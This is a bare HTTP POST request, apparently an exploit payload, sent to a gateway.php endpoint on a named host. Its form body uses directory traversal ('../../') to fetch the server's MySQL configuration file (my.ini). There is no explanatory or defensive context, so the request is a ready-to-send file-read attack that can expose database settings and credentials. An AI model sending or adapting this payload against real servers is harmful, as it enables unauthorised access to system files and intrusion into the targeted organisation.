POST /mac/gateway.php HTTP/1.1
Host: q.leoei.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0
Content-Length: 43
Charset: utf-8
Content-Type: application/x-www-form-urlencoded
Referer: https://servicewechat.com/wxe1d5f6d5f6c6a21f/5/page-frame.html
Accept-Encoding: gzip

json={"url":"/general/../../mysql5/my.ini"}